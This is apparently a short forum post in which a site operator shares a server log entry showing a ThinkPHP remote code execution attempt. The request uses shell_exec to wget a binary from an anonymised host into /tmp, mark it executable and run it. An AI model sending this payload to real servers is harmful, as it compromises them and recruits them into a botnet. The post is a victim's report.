So this appeared in my logs
[15/Oct/2021:15:48:15 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://x.y.z.t/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777 /tmp/.notabotnet; /tmp/.notabotnet ThinkphpRep'
IP's changed.
Yeah, gotta love running sites. Really gotta. And yet another reason to move off PHP.